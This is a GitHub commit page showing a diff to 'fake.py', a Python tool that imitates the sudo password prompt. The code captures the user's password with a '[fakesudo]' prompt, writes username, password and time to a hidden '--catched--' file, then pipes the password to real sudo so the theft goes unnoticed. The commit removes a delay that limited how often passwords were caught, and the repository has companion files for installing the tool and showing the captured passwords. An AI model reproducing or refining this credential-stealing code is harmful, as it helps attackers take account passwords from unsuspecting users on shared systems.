Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with
or
.
Download ZIP
Browse files

You dont have to retype password now!

  • Loading branch information...
commit 92f25109c598e62c3fe2231c8861650a18472246 1 parent 3e65c90
@Visgean authored
View
57 fake.py 100755 → 100644
@@ -8,9 +8,6 @@
catchFile = "--catched--"
-
-
-
def fakeSudo():
def savePass(passwd):
try:
@@ -18,44 +15,23 @@ def savePass(passwd):
except:
file = open(catchFile, 'w')
- catch = "%s|%s|%s\n" % (getuser(), passwd, str(time.time()))
+ catch = "%s|%s|%s\n" % (getuser(), passwd, str(time.ctime()))
file.write(catch)
file.close()
- def checkForTime():
- "Function for making pauses betwen catching passes"
- now = time.time()
- minDelay = 2*24*60*60 # min delay is two days
-
- try:
- file = open(catchFile, 'r')
- data = file.read()
-
- for line in data.splitlines():
- if now - float(line.split("|")[2]) < minDelay: # if the command was runned not more than two days ago
- return False
- return True # if code didnot returned anything yet then return true - there is no exception
-
- except:
- return True
-
- if checkForTime():
- # Catch pass:
- try:
- passwd = getpass("[fakesudo] password for %s: " % getuser())
- except KeyboardInterrupt:
- passwd = getpass("Password: ")
- # Save pass:
- savePass(passwd)
+ # Catch pass:
+ try:
+ passwd = getpass("[fakesudo] password for %s: " % getuser())
+ except KeyboardInterrupt:
+ passwd = getpass("Password: ")
- # for some reason sudo have ~2 s pouse.
- time.sleep(2)
- print "Sorry, try again."
- else:
- pass
+ # Save pass:
+ savePass(passwd)
# Do the command:
- sudocmd = " ".join(sys.argv[1:])
+ # change this to some python pipeline or what!
+ sudocmd = 'echo "%s" | sudo -s %s' % (passwd, " ".join(sys.argv[2:]))
+
os.system(sudocmd)
@@ -87,9 +63,6 @@ def typeSudo():
exit()
-
-
-
if mode == "sudo":
fakeSudo()
@@ -97,11 +70,3 @@ def typeSudo():
fakeType()
-
-
-
-
-
-
-
-
View
0  install.py 100755 → 100644
File mode changed
View
1  logNames
@@ -1 +0,0 @@
-.hgNTqv|.enhdes|/home/visgean
View
0  removeMe.py 100755 → 100644
File mode changed
View
0  showPasses.py 100755 → 100644
File mode changed
Please sign in to comment.
Something went wrong with that request. Please try again.